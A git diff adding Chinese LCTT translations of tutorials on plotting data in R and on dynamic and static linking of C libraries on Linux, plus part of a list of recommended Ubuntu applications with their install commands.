:- | :- | +| `height` | 数值向量或数值矩阵,包含用于绘图的数据 | +| `width` | 数值向量,用于设置柱宽 | +| `space` | 柱间距 | +| `beside` | 逻辑型,若 `FALSE` 则绘制堆积柱状图,若 `TRUE` 则绘制并列柱状图 | +| `density` | 数值型,设置阴影线的填充密度(条数/英寸),默认为 `NULL`,即不填充阴影线| +| `angle` | 数值型,填充线条的角度,默认为 45 | +| `border` | 柱形边缘的颜色 | +| `main` | 标题 | +| `sub` | 副标题 | +| `xlab` | x 轴标题 | +| `ylab` | y 轴标题 | +| `xlim` | x 轴范围 | +| `ylim` | y 轴范围 | +| `axes` | 逻辑型,是否绘制坐标轴 | + +用 `help` 命令可以查看 `barplot` 函数的详细信息: + +``` +> help(barplot) + +barplot package:graphics R Documentation + +Bar Plots + +Description: + + Creates a bar plot with vertical or horizontal bars. + +Usage: + + barplot(height, ...) + + ## Default S3 method: + barplot(height, width = 1, space = NULL, + names.arg = NULL, legend.text = NULL, beside = FALSE, + horiz = FALSE, density = NULL, angle = 45, + col = NULL, border = par("fg"), + main = NULL, sub = NULL, xlab = NULL, ylab = NULL, + xlim = NULL, ylim = NULL, xpd = TRUE, log = "", + axes = TRUE, axisnames = TRUE, + cex.axis = par("cex.axis"), cex.names = par("cex.axis"), + inside = TRUE, plot = TRUE, axis.lty = 0, offset = 0, + add = FALSE, ann = !add && par("ann"), args.legend = NULL, ...) + + ## S3 method for class 'formula' + barplot(formula, data, subset, na.action, + horiz = FALSE, xlab = NULL, ylab = NULL, ...) +``` + +### 饼图 + +绘制饼图时要多加注意,因为饼图不一定能展示出各扇形间的区别。(LCTT 译注:根据统计学家和一些心理学家的调查结果,这种以比例展示数据的统计图形 [实际上是很糟糕的可视化方式][10],因此,R 关于饼图的帮助文件中清楚地说明了并不推荐使用饼图,而是使用条形图或点图作为替代。) 用 `subset` 函数获得 Gujarat 州在 2021 年 1 月 Rural、Urban、Rurual+Urban 的 CPI 值: + +``` +> jan2021 <- subset(cpi, Name=="January" & Year=="2021") + +> jan2021$Gujarat +[1] 153.9 151.2 149.1 + +> names <- c('Rural', 'Urban', 'Rural+Urban') +``` + +使用 `pie` 函数为 Gujarat 州的 CPI 值生成饼图,如下所示: + +``` +> pie(jan2021$Gujarat, names, main="Gujarat CPI Rural and Urban Pie Chart") +``` + +![Figure 4: Pie chart][5] + +`pie` 函数可以传入以下参数: + +| 参数 | 描述 | +| :- | :- | +| `x | 元素大于 0 的数值向量 | +| `label` | 字符向量,用于设置每个扇形的标签 | +| `radius` | 饼图的半径 | +| `clockwise` | 逻辑型,若 `TRUE` 则顺时针绘图,若 `FALSE` 则逆时针绘图 | +| `density` | 数值型,设置阴影线的填充密度(条数/英寸),默认为 `NULL`,即不填充阴影线| +| `angle` | 数值型,填充线条的角度,默认为 45 | +| `col` | 数值向量,用于设置颜色 | +| `lty` | 每个扇形的线条类型 | +| `main` | 标题 | + +### 箱线图 + +(LCTT 译注:箱线图主要是 [从四分位数的角度出发][11] 描述数据的分布,它通过最大值(Q4)、上四分位数(Q3)、中位数(Q2)、下四分位数(Q1) 和最小值(Q0)五处位置来获取一维数据的分布概况。我们知道,这五处位置之间依次包含了四段数据,每段中数据量均为总数据量的 1/4。通过每一段数据占据的长度,我们可以大致推断出数据的集中或离散趋势。长度越短,说明数据在该区间上越密集,反之则稀疏。) + +箱线图能够用“须线whisker” 展示一个变量的四分位距Interquartile Range(简称 IQR=Q3-Q1)。用上下四分位数分别加/减内四分位距,再乘以一个人为设定的倍数 `range`(见下面的参数列表),得到 `range * c(Q1-IQR, Q3+IQR)`,超过这个范围的数据点就被视作离群点,在图中直接以点的形式表示出来。 + +`boxplot` 函数可以传入以下参数: + +| 参数 | 描述 | +| :- | :- | +| `data` | 数据框或列表,用于参数类型为公式的情况 | +| `x` | 数值向量或者列表,若为列表则对列表中每一个子对象依次作出箱线图 | +| `width` | 设置箱子的宽度 | +| `outline` | 逻辑型,设置是否绘制离群点 | +| `names` | 设置每个箱子的标签 | +| `border` | 设置每个箱子的边缘的颜色 | +| `range` | 延伸倍数,设置箱线图末端(须)延伸到什么位置 | +| `plot` | 逻辑型,设置是否生成图像,若 TRUE 则生成图像,若 FALSE 则打印传入数据的描述信息 | +| `horizontal` | 逻辑型,设置箱线图是否水平放置 | + +用 `boxplot` 函数绘制部分州的箱线图: + +``` +> names <- c ('Andaman and Nicobar', 'Lakshadweep', 'Delhi', 'Goa', 'Gujarat', 'Bihar') +> boxplot(cpi$Andaman.and.Nicobar, cpi$Lakshadweep, cpi$Delhi, cpi$Goa, cpi$Gujarat, cpi$Bihar, names=names) +``` + +![Figure 5: Box plot][6] + +### QQ 图 + +QQ 图Quantile-Quantile plot可以用来对比两个数据集,也可以用来检查数据是否服从某种理论分布。`qqnorm` 函数能绘制正态分布 QQ 图,可以检验数据是否服从正态分布,用下面的代码绘制 Punjab 州 CPI 数据的 QQ 图: + +``` +> qqnorm(punjab$x) +``` + +![Figure 6: Q-Q plot][7] + +`qqline` 函数可以向正态分布 QQ 图上添加理论分布曲线,它可以传入以下参数: + +| 参数 | 描述 | +| :- | :- | +| `x` | 第一个数据样本 | +| `y` | 第二个数据样本 | +| `datax` | 逻辑型,设置是否以 x 轴表示理论曲线的值,默认为 `FALSE` | +| `probs` | 长度为 2 的数值向量,代表概率 | +| `xlab` | x 轴标题 | +| `ylab` | y 轴标题 | +| `qtype` | `[1,9]` 内的整数,设置分位计算类型,详情见 `help(quantile)` 的类型小节 | + +### 等高图 + +等高图可以描述三维数据,在 R 中对应的函数是 `contour`,这个函数也可以用来向已有的图表添加等高线。等高图常与其他图表一起使用。我们用 `contour` 对 R 中的 `volcano` 数据集(奥克兰的火山地形信息)绘制等高图,代码如下: + +``` +> contour(volcano) +``` + +![Figure 7: Volcano][8] + +`contour` 函数的常用参数如下: + +| 参数 | 描述 | +| :- | :- | +| `x,y` | z 中数值对应的点在平面上的位置 | +| `z` | 数值向量 | +| `nlevels` | 设置等高线的条数,调整等高线的疏密 | +| `labels` | 等高线上的标记字符串,默认是高度的数值 | +| `xlim` | 设置 x 轴的范围 | +| `ylim` | 设置 y 轴的范围 | +| `zlim` | 设置 z 轴的范围 | +| `axes` | 设置是否绘制坐标轴 | +| `col` | 设置等高线的颜色 | +| `lty` | 设置线条的类型 | +| `lwd` | 设置线条的粗细 | +| `vfont` | 设置标签字体 | + +等高线之间的区域可以用颜色填充,每种颜色表示一个高度范围,如下所示: + +``` +> filled.contour(volcano, asp = 1) +# asp 为图形纵横比,即 y 轴上的 1 单位长度和 x 轴上 1 单位长度的比率 +``` +填充结果见图 8。 + +![Figure 8: Filled volcano][9] + +掌握上述内容后,你可以尝试 R 语言 `graphics` 包中的其他函数和图表(LCTT 译注:用 `help(package=graphics)` 可以查看 graphics 包提供的函数列表)。 + +-------------------------------------------------------------------------------- + +via: https://www.opensourceforu.com/2022/05/plotting-data-in-r-graphs/ + +作者:[Shakthi Kannan][a] +选题:[lkxed][b] +译者:[tanloong](https://github.com/tanloong) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://www.opensourceforu.com/author/shakthi-kannan/ +[b]: https://github.com/lkxed +[1]: https://www.opensourceforu.com/wp-content/uploads/2022/04/business-man-visulising-graphs.jpg +[2]: https://www.opensourceforu.com/wp-content/uploads/2022/04/Figure-1-Line-chart.jpg +[3]: https://www.opensourceforu.com/wp-content/uploads/2022/04/Figure-2-ACF-chart.jpg +[4]: https://www.opensourceforu.com/wp-content/uploads/2022/04/Figure-3-Line-chart-of-Punjabs-CPI.jpg +[5]: https://www.opensourceforu.com/wp-content/uploads/2022/04/Figure-4-Pie-chart.jpg +[6]: https://www.opensourceforu.com/wp-content/uploads/2022/04/Figure-5-ox-plot.jpg +[7]: https://www.opensourceforu.com/wp-content/uploads/2022/04/Figure-6-Q-Q-plot.jpg +[8]: https://www.opensourceforu.com/wp-content/uploads/2022/04/Figure-7-Volcano.jpg +[9]: https://www.opensourceforu.com/wp-content/uploads/2022/04/Figure-8-Filled-volcano.jpg +[10]: https://bookdown.org/xiangyun/msg/gallery.html#sec:pie +[11]: https://bookdown.org/xiangyun/msg/gallery.html#sec:boxplot diff --git a/published/202207/20220531 How dynamic linking for modular libraries works on Linux.md b/published/202207/20220531 How dynamic linking for modular libraries works on Linux.md new file mode 100644 index 0000000000..a3fab8faa0 --- /dev/null +++ b/published/202207/20220531 How dynamic linking for modular libraries works on Linux.md @@ -0,0 +1,223 @@ +[#]: subject: "How dynamic linking for modular libraries works on Linux" +[#]: via: "https://opensource.com/article/22/5/dynamic-linking-modular-libraries-linux" +[#]: author: "Jayashree Huttanagoudar https://opensource.com/users/jayashree-huttanagoudar" +[#]: collector: "lkxed" +[#]: translator: "robsean" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14813-1.html" + +如何在 Linux 上动态链接模块库 +====== + +![](https://img.linux.net.cn/data/attachment/album/202207/10/182540caie7ldrefflffah.jpg) + +> 学习如何用动态链接库将多个 C 目标文件结合到一个单个的可执行文件之中。 + +当使用 C 编程语言编写一个应用程序时,你的代码通常有多个源文件代码。 + +最终,这些文件必须被编译到一个单个的可执行文件之中。你可以通过创建静态或动态库(后者也被称为 共享shared 库)来实现这一点。这两种类型的库在创建和链接的方式上有所不同。两者都有缺点和优点,这取决于你的使用情况。 + +动态链接是最常见的方法,尤其是在 Linux 系统上。动态链接会保持库模块化,因此,很多应用程序可以共享一个库。应用程序的模块化也允许单独更新其依赖的共享库。 + +在这篇文章中,我将演示动态链接是如何工作的。在后期的文章中,我将演示静态链接。 + +### 链接器 + +链接器linker是一个命令,它将一个程序的数个部分结合在一起,并为它们重新组织内存分配。 + +链接器的功能包括: + +* 整合一个程序的所有的部分 +* 计算出一个新的内存组织结构,以便所有的部分组合在一起 +* 恢复内存地址,以便程序可以在新的内存组织结构下运行 +* 解析符号引用 + +链接器通过这些功能,创建了一个名为可执行文件executable的可以运行的程序。在你创建一个动态链接的可执行文件前,你需要一些用来链接的库,和一个用来编译的应用程序。准备好你 [最喜欢的文本编辑器][2] 并继续。 + +### 创建目标文件 + +首先,创建带有这些函数签名的头文件 `mymath.h` : + +``` +int add(int a, int b); +int sub(int a, int b); +int mult(int a, int b); +int divi(int a, int b); +``` + +使用这些函数定义来创建 `add.c` 、`sub.c` 、`mult.c` 和 `divi.c` 文件。我将把所有的代码都放置到一个代码块中,请将其分为四个文件,如注释所示: + +``` +// add.c +int add(int a, int b){ +return (a+b); +} + +//sub.c +int sub(int a, int b){ +return (a-b); +} + +//mult.c +int mult(int a, int b){ +return (a*b); +} + +//divi.c +int divi(int a, int b){ +return (a/b); +} +``` + +现在,使用 GCC 来创建目标文件 `add.o`、`sub.o`、`mult.o` 和 `divi.o` : + +(LCTT 校注:关于“目标文件object file”,有时候也被称作“对象文件”,对此,存在一些译法混乱情形,称之为“目标文件”的译法比较流行,本文采用此译法。) + +``` +$ gcc -c add.c sub.c mult.c divi.c +``` + +`-c` 选项跳过链接步骤,并且只创建目标文件。 + +### 创建一个共享的目标文件 + +在最终的可执行文件的执行过程中将链接动态库。在最终的可执行文件中仅放置动态库的名称。实际上的链接过程发生在运行时,在此期间,可执行文件和库都被放置到了主内存中。 + +除了可共享外,动态库的另外一个优点是它减少了最终的可执行文件的大小。在一个应用程序最终的可执行文件生成时,其使用的库只包括该库的名称,而不是该库的一个多余的副本。 + +你可以从你现有的示例代码中创建动态库: + +``` +$ gcc -Wall -fPIC -c add.c sub.c mult.c divi.c +``` + +选项 `-fPIC` 告诉 GCC 来生成位置无关的代码position-independent code(PIC)。`-Wall` 选项不是必需的,并且与代码的编译方式是无关的。不过,它却是一个有价值的选项,因为它会启用编译器警告,这在排除故障时是很有帮助的。 + +使用 GCC ,创建共享库 `libmymath.so` : + +``` +$ gcc -shared -o libmymath.so add.o sub.o mult.o divi.o +``` + +现在,你已经创建了一个简单的示例数学库 `libmymath.so` ,你可以在 C 代码中使用它。当然,也有非常复杂的 C 库,这就是他们这些开发者来生成最终产品的工艺流程,你和我可以安装这些库并在 C 代码中使用。 + +接下来,你可以在一些自定义代码中使用你的新数学库,然后链接它。 + +### 创建一个动态链接的可执行文件 + +假设你已经为数学运算编写了一个命令。创建一个名称为 `mathDemo.c` 的文件,并将这些代码复制粘贴至其中: + +``` +#include +#include +#include + +int main() +{ + int x, y; + printf("Enter two numbers\n"); + scanf("%d%d",&x,&y); + + printf("\n%d + %d = %d", x, y, add(x, y)); + printf("\n%d - %d = %d", x, y, sub(x, y)); + printf("\n%d * %d = %d", x, y, mult(x, y)); + + if(y==0){ + printf("\nDenominator is zero so can't perform division\n"); + exit(0); + }else{ + printf("\n%d / %d = %d\n", x, y, divi(x, y)); + return 0; + } +} +``` + +注意:第一行是一个 `include` 语句,通过名称来引用你自己的 `libmymath` 库。要使用一个共享库,你必须已经安装了它,如果你没有安装你将要使用的库,那么当你的可执行文件在运行并搜索其包含的库时,将找不到该共享库。如果你需要在不安装库到已知目录的情况下编译代码,这里有 [一些方法可以覆盖默认设置][3]。不过,对于一般使用来说,我们希望库存在于已知的位置,因此,这就是我在这里演示的东西。 + +复制文件 `libmymath.so` 到一个标准的系统目录,例如:`/usr/lib64`, 然后运行 `ldconfig` 。`ldconfig` 命令创建所需的链接,并缓存到标准库目录中发现的最新共享库。 + +``` +$ sudo cp libmymath.so /usr/lib64/ +$ sudo ldconfig +``` + +### 编译应用程序 + +从你的应用程序源文件代码(`mathDemo.c`)中创建一个名称为 `mathDemo.o` 的目标文件: + +``` +$ gcc -I . -c mathDemo.c +``` + +`-I` 选项告诉 GCC 来在其后所列出的目录中搜索头文件(在这个示例中是 `mymath.h`)。在这个示例中,你指定的是当前目录,通过一个单点(`.`)来表示。创建一个可执行文件,使用 `-l` 选项来通过名称来引用你的共享数学库: + +``` +$ gcc -o mathDynamic mathDemo.o -lmymath +``` + +GCC 会找到 `libmymath.so` ,因为它存在于一个默认的系统库目录中。使用 `ldd` 来查证所使用的共享库: + +``` +$ ldd mathDemo + linux-vdso.so.1 (0x00007fffe6a30000) + libmymath.so => /usr/lib64/libmymath.so (0x00007fe4d4d33000) + libc.so.6 => /lib64/libc.so.6 (0x00007fe4d4b29000) + /lib64/ld-linux-x86-64.so.2 (0x00007fe4d4d4e000) +``` + +看看 `mathDemo` 可执行文件的大小: + +``` +$ du ./mathDynamic +24 ./mathDynamic +``` + +当然,它是一个小的应用程序,它所占用的磁盘空间量也反映了这一点。相比之下,相同代码的一个静态链接版本(正如你将在我后期的文章所看到的一样)是 932K ! + +``` +$ ./mathDynamic +Enter two numbers +25 +5 + +25 + 5 = 30 +25 - 5 = 20 +25 * 5 = 125 +25 / 5 = 5 +``` + +你可以使用 `file` 命令来查证它是动态链接的: + +``` +$ file ./mathDynamic +./mathDynamic: ELF 64-bit LSB executable, x86-64, +dynamically linked, +interpreter /lib64/ld-linux-x86-64.so.2, +with debug_info, not stripped +``` + +成功! + +### 动态链接 + +因为链接发生在运行时,所以,使用一个共享库会产生一个轻量型的可执行文件。因为它在运行时解析引用,所以它会花费更多的执行时间。不过,因为在日常使用的 Linux 系统上绝大多数的命令是动态链接的,并且在现代硬件上,所能节省的时间是可以忽略不计的。对开发者和用户来说,它的固有模块性是一种强大的功能。 + +在这篇文章中,我描述了如何创建动态库,并将其链接到一个最终可执行文件。在我的下一篇文章中,我将使用相同的源文件代码来创建一个静态链接的可执行文件。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/5/dynamic-linking-modular-libraries-linux + +作者:[Jayashree Huttanagoudar][a] +选题:[lkxed][b] +译者:[robsean](https://github.com/robsean) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/jayashree-huttanagoudar +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/links.png +[2]: https://opensource.com/article/21/2/open-source-text-editors +[3]: https://opensource.com/article/22/5/compile-code-ldlibrarypath diff --git a/published/202207/20220603 How static linking works on Linux.md b/published/202207/20220603 How static linking works on Linux.md new file mode 100644 index 0000000000..df4d8a2a21 --- /dev/null +++ b/published/202207/20220603 How static linking works on Linux.md @@ -0,0 +1,218 @@ +[#]: subject: "How static linking works on Linux" +[#]: via: "https://opensource.com/article/22/6/static-linking-linux" +[#]: author: "Jayashree Huttanagoudar https://opensource.com/users/jayashree-huttanagoudar" +[#]: collector: "lkxed" +[#]: translator: "robsean" +[#]: reviewer: "turbokernel" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14819-1.html" + +Linux 上静态链接库工作原理 +====== + +![](https://img.linux.net.cn/data/attachment/album/202207/12/120441y0q5a5abfyjyy7ug.jpg) + +> 学习如何用静态链接库将多个 C 目标文件结合到一个单个的可执行文件之中。 + +使用 C 编写的应用程序时,通常有多个源码文件,但最终你需要编译成单个的可执行文件。 + +你可以通过两种方式来完成这项工作:通过创建一个 静态static 库 或 一个 动态dynamic 库(也被称为 共享shared 库)。从创建和链接的方式来看,它们是两种不同类型的库。选择使用哪种方式取决于你的的具体场景。 + +在 [上一篇文章][3] 中,我演示了如何创建一个动态链接的可执行文件,这是一种更通用的方法。在这篇文章中,我将说明如何创建一个静态链接的可执行文件。 + +### 使用静态库链接器 + +链接器linker是一个命令,它将一个程序的多个部分结合在一起,并为它们重新组织内存分配。 + +链接器的功能包括: + +* 整合一个程序的所有的部分 +* 计算出一个新的内存组织结构,以便所有的部分组合在一起 +* 恢复内存地址,以便程序可以在新的内存组织结构下运行 +* 解析符号引用 + +链接器通过这些功能,创建了一个名称为可执行文件的一个可运行程序。 + +静态库是通过复制一个程序中的所有依赖库模块到最终的可执行镜像来创建的。链接器将链接静态库作为编译过程的最后一步。可执行文件是通过解析外部引用、将库例程与程序代码结合在一起来创建的。 + +### 创建目标文件 + +这里是一个静态库的示例以及其链接过程。首先,创建带有这些函数识别标志的头文件 `mymath.h` : + +``` +int add(int a, int b); +int sub(int a, int b); +int mult(int a, int b); +int divi(int a, int b); +``` + +使用这些函数定义来创建 `add.c` 、`sub.c` 、`mult.c` 和 `divi.c` 文件。我将把所有的代码都放置到一个代码块中,请将其分为四个文件,如注释所示: + +``` +// add.c +int add(int a, int b){ +return (a+b); +} + +//sub.c +int sub(int a, int b){ +return (a-b); +} + +//mult.c +int mult(int a, int b){ +return (a*b); +} + +//divi.c +int divi(int a, int b){ +return (a/b); +} +``` + +现在,使用 GCC 来生成目标文件 `add.o` 、`sub.o` 、`mult.o` 和 `divi.o`: + +(LCTT 校注:关于“目标文件object file”,有时候也被称作“对象文件”,对此,存在一些译法混乱情形,称之为“目标文件”的译法比较流行,本文采用此译法。) + +``` +$ gcc -c add.c sub.c mult.c divi.c +``` + +`-c` 选项跳过链接步骤,而只创建目标文件。 + +创建一个名称为 `libmymath.a` 的静态库,接下来,移除目标文件,因为它们不再被需要。(注意,使用一个 `trash` 命令比使用一个 `rm` 命令更安全。) + +``` +$ ar rs libmymath.a add.o sub.o mult.o divi.o +$ trash *.o +$ ls +add.c  divi.c  libmymath.a  mult.c  mymath.h  sub.c +``` + +现在,你已经创建了一个名称为 `libmymath` 的简单数学示例库,你可以在 C 代码中使用它。当然,也有非常复杂的 C 库,这就是他们这些开发者来生成最终产品的工艺流程,你和我可以安装这些库并在 C 代码中使用。 + +接下来,在一些自定义代码中使用你的数学库,然后链接它。 + +### 创建一个静态链接的应用程序 + +假设你已经为数学运算编写了一个命令。创建一个名称为 `mathDemo.c` 的文件,并将这些代码复制粘贴至其中: + +``` +#include +#include +#include + +int main() +{ +  int x, y; +  printf("Enter two numbers\n"); +  scanf("%d%d",&x,&y); +  +  printf("\n%d + %d = %d", x, y, add(x, y)); +  printf("\n%d - %d = %d", x, y, sub(x, y)); +  printf("\n%d * %d = %d", x, y, mult(x, y)); + +  if(y==0){ +    printf("\nDenominator is zero so can't perform division\n"); +      exit(0); +  }else{ +      printf("\n%d / %d = %d\n", x, y, divi(x, y)); +      return 0; +  } +} +``` + +注意:第一行是一个 `include` 语句,通过名称来引用你自己的 `libmymath` 库。 + +针对 `mathDemo.c` 创建一个名称为 `mathDemo.o` 的对象文件: + +``` +$ gcc -I . -c mathDemo.c +``` + +`-I` 选项告诉 GCC 搜索在其后列出的头文件。在这个实例中,你通过单个点(`.`)来指定当前目录。 + +链接 `mathDemo.o` 和 `libmymath.a` 来生成最终的可执行文件。这里有两种方法来向 GCC 告知这一点。 + +你可以指向文件: + +``` +$ gcc -static -o mathDemo mathDemo.o libmymath.a +``` + +或者,你可以具体指定库的路径及名称: + +``` +$ gcc -static -o mathDemo -L . mathDemo.o -lmymath +``` + +在后面的那个示例中,`-lmymath` 选项告诉链接器来链接对象文件 `mathDemo.o` 和对象文件 `libmymath.a` 来生成最终的可执行文件。`-L` 选项指示链接器在下面的参数中查找库(类似于你使用 `-I` 所做的工作)。 + +### 分析结果 + +使用 `file` 命令来验证它是静态链接的: + +``` +$ file mathDemo +mathDemo: ELF 64-bit LSB executable, x86-64... +statically linked, with debug_info, not stripped +``` + +使用 `ldd` 命令,你将会看到该可执行文件不是动态链接的: + +``` +$ ldd ./mathDemo +        not a dynamic executable +``` + +你也可以查看 `mathDemo` 可执行文件的大小: + +``` +$ du -h ./mathDemo +932K    ./mathDemo +``` + +在我 [前一篇文章][3] 的示例中,动态链接的可执行文件只占有 24K 大小。 + +运行该命令来看看它的工作内容: + +``` +$ ./mathDemo +Enter two numbers +10 +5 + +10 + 5 = 15 +10 - 5 = 5 +10 * 5 = 50 +10 / 5 = 2 +``` + +看起来令人满意! + +### 何时使用静态链接 + +动态链接可执行文件通常优于静态链接可执行文件,因为动态链接会保持应用程序的组件模块化。假如一个库接收到一次关键安全更新,那么它可以很容易地修补,因为它存在于应用程序的外部。 + +当你使用静态链接时,库的代码会“隐藏”在你创建的可执行文件之中,意味着在库每次更新时(相信我,你会有更好的东西),仅有的一种修补方法是重新编译和发布一个新的可执行文件。 + +不过,如果一个库的代码,要么存在于它正在使用的具有相同代码的可执行文件中,要么存在于不会接收到任何更新的专用嵌入式设备中,那么静态连接将是一种可接受的选项。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/22/6/static-linking-linux + +作者:[Jayashree Huttanagoudar][a] +选题:[lkxed][b] +译者:[robsean](https://github.com/robsean) +校对:[turbokernel](https://github.com/turbokernel) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/jayashree-huttanagoudar +[b]: https://github.com/lkxed +[1]: https://opensource.com/sites/default/files/lead-images/lenovo-thinkpad-laptop-concentration-focus-windows-office.png +[2]: https://creativecommons.org/licenses/by/3.0/us/ +[3]: https://linux.cn/article-14813-1.html +[4]: https://www.redhat.com/sysadmin/recover-file-deletion-linux +[5]: https://opensource.com/article/22/5/dynamic-linking-modular-libraries-linux diff --git a/published/202207/20220606 10 Best Ubuntu Apps for Everyone in 2022 [Part 2].md b/published/202207/20220606 10 Best Ubuntu Apps for Everyone in 2022 [Part 2].md new file mode 100644 index 0000000000..e7fd03308c --- /dev/null +++ b/published/202207/20220606 10 Best Ubuntu Apps for Everyone in 2022 [Part 2].md @@ -0,0 +1,253 @@ +[#]: subject: "10 Best Ubuntu Apps for Everyone in 2022 [Part 2]" +[#]: via: "https://www.debugpoint.com/best-ubuntu-apps-2022-part2/" +[#]: author: "Arindam https://www.debugpoint.com/author/admin1/" +[#]: collector: "lkxed" +[#]: translator: "Donkey-Hao" +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14816-1.html" + +10 大必备 Ubuntu 应用:优选篇 +====== + +![](https://img.linux.net.cn/data/attachment/album/202207/11/180521obse00404niahjof.jpg) + +> 本文列出了 2022 年可以用于不同情况的 10 个 Ubuntu 优选应用。 + +如果你计划永久的转移到 Linux 系统上,你应该会很高兴地知道在 Linux 上有数以千计的能与商业或付费应用媲美的应用。如果你是第一次使用 Linux 的 Windows 用户,你可能都没有听说过这些应用。 + +因此,在这一系列文章中,我们每一篇重点介绍一组 Ubuntu 应用,以增加 Linux 用户们的协作和认识。 + +这是 Ubuntu 应用程序系列的第二篇文章,如果你错过了其他部分,可以在这里阅读: + +* [第一篇][1] + +### 1、OBS Studio + +第一个应用是著名的 [流媒体应用][3] —— OBS Studio 。这是一款自由开源的应用,主要用于互联网上的流媒体应用。此外,你可以使用该应用创建一个复杂的流媒体项目,包括多源、覆盖式横幅等功能。 + +而且,由于它能够支持“实时消息传输协议Real-Time Messaging Protocol”(RTMP),你可以使用它在 Facebook、Youtube、Twitch 以及其他支持的平台上进行流式传输。 + +这个有十年历史的应用程序是 Linux 上最好的应用程序之一。 + +![OBS Studio][4] + +你可以在 [OBS Studio 官网][5] 了解更多的信息并下载,或者通过以下方式安装。 + +通过 PPA 在 Ubuntu 和相关发行版上安装: + +``` +sudo add-apt-repository ppa:obsproject/obs-studio +sudo apt update +sudo apt install obs-studio +``` + +如果你希望通过 Flatpak 安装 ,首先 [为 Flatpak 设置系统][6] 然后 [通过这个页面安装][7] 。 + +在 Arch Linux 或者其他 Linux 版本,访问 [此页面][8] 了解。 + +#### 2、Inkscape + +这里介绍的第二款应用是流行的 Inkscape。 Inkscape 是一个自由开源的矢量图形编辑软件。它主要用于创建可缩放的矢量图形(SVG)。此外,它是一款一流的应用,可以使用基本的矢量形状如矩形、多边形、螺旋形等。你可以使用这些基本图形以及辅助工具(见下文)创作一流的绘图。 + +此外,只要你有足够的技能,就可以使用 Inkscape 创作出 [绝妙的动画][9] 。这是艺术家必备的一款应用。 + +![Sample Image – credit-Inkscape][10] + +![Inkscape][11] + +你可以在 [Inkscape 官网][12] 下载并了解更多相关信息,或者通过以下方式下载。 + +通过 PPA 在 Ubuntu 和相关发行版上安装: + +``` +sudo add-apt-repository ppa:inkscape.dev/stable +sudo apt update +sudo apt install inkscape +``` + +更多下载方式可以查看 [此页面][13] 。 + +#### 3、GIMP + +GIMP 是 “GNU 图像操作程序GNU Image Manipulation Program”的缩写,它是一个光栅图形编辑器,它有时候被视作 Linux 平台上的 [Photoshop 替代品][14](值得商榷)。这款拥有 20 年历史的应用适合于从基础到高级的图像编辑。此外,它支持图层、滤镜、装饰和其它对摄影工作必不可少的高级图像编辑功能。 + +![GIMP Image Editor][15] + +[官方主页][16] 是你了解更多关于 GIMP 的知识的最好的途径,可以在官网下载或者通过以下方式安装。 + +我推荐的方式是通过 Flatpak 下载最新版本 GIMP 。你可以为 Flatpak 设置 [你的系统][17] 然后 [通过该页面安装][18] 。 + +[该页面][19] 提供了更多下载选项。 + +#### 4、Spotify + +Spotify 是一家专业提供音频流媒体和媒体服务的提供商。它是最广泛的音乐流媒体服务之一,有超过 400 万的月活用户。 + +首先,你需要安装客户端才能获取 Spotify 流媒体服务。其次,如果你是移动用户,你可以通过 Google Play 商店或者苹果应用商店获取 Spotify 应用。 + +在 Linux 上安装桌面客户端后你可以收听上百万首歌曲。你可以为不同的 Linux 发行版通过不同的方式安装 Spotify 。 + +![Spotify Client in Ubuntu][20] + +推荐你在 Ubuntu 或者其他 Linux 上使用 Snap 来安装,你可以通过以下命令安装: + +``` +snap install spotify +``` + +如果你偏爱原始的 deb 包,你可以通过以下命令安装: + +``` +curl -sS https://download.spotify.com/debian/pubkey_5E3C45D7B312C643.gpg | sudo apt-key add -echo "deb http://repository.spotify.com stable non-free" | sudo tee /etc/apt/sources.list.d/spotify.list +``` + +你也可以使用非官方 [Flatpak 包][21] 进行安装。 + +#### 5、SimpleScreenRecorder + +SimpleScreenRecorder 可能是最好的开源截屏工具。该应用程序易于使用并提供了各种功能。并且,其独特的 3 步录制屏幕的方法完全不需要学习。此外,你可以选择整个屏幕、窗口或自定义形状来记录屏幕。 + +此外,你还可以指定音频/视频比特率、音频源选项和不同的输出选项。最后,它可以安装在所有 Linux 发行版中。 + +![SimpleScreenRecorder][22] + +[官方页面][23] 囊括了更多的 SimpleScreenRecorder 信息,你也可以使用如下方式下载。 + +在 Ubuntu 或其他相关发行版中使用下面的 PPA 命令安装该应用: + +``` +sudo apt-get updatesudo apt-get install simplescreenrecorder +``` + +访问 [此页][24] 获取更多下载版本。 + +#### 6、Calibre + +Calibre 是一款可以在 Ubuntu、Linux Mint 以及其他 Linux 平台使用的自由开源的电子书库管理应用程序。它拥有书库管理、电子书格式转换、同步你的电子书设备以及其他独特的功能。你可以下载新闻和其他互联网上的文章,并可以使用 Calibre 转换成电子书格式。同时,它支持多种电子书格式进行管理。Calibre 是一款具有这些功能最好的电子书管理应用程序之一。 + +![Calibre][25] + +[Calibre 主页][26] 提供了很多文件以及指导手册,你也可以使用以下方式下载。 + +* [下载 Linux 版本][27] +* [下载其他系统版本][28] + +#### 7、Scribus + +多年来,桌面出版已经发生了变化。现今,仍有一些桌面出版的应用程序和基于网页的服务。Scribus 是早期的一款自由开源的桌面出版应用程序,可以在 Linux 发行版和其他操作系统中使用。此外,它基于 Qt,并带来了吸引人的用户界面,让你可以马上投入学习。此外,初学者和专业人士都可以使用它来创建令人惊叹的 DTP 页面。 + +并且它仍然在积极开发中。 + +![Scribus][29] + +你可以在 Scribus 的 [官方页面][30] 了解更多信息并下载,或者通过以下方式安装。 + +Scribus 位于 Ubuntu 和其他相关发行版的主要存储库中。你可以运行以下命令进行安装: + +``` +sudo apt install scribus +``` + +[该页面][31] 提供了其他下载选项。 + +#### 8、MyPaint + +第八个应用程序是 MyPaint 。MyPaint 是一个自由开源的绘图程序,适用于数字艺术家。MyPaint 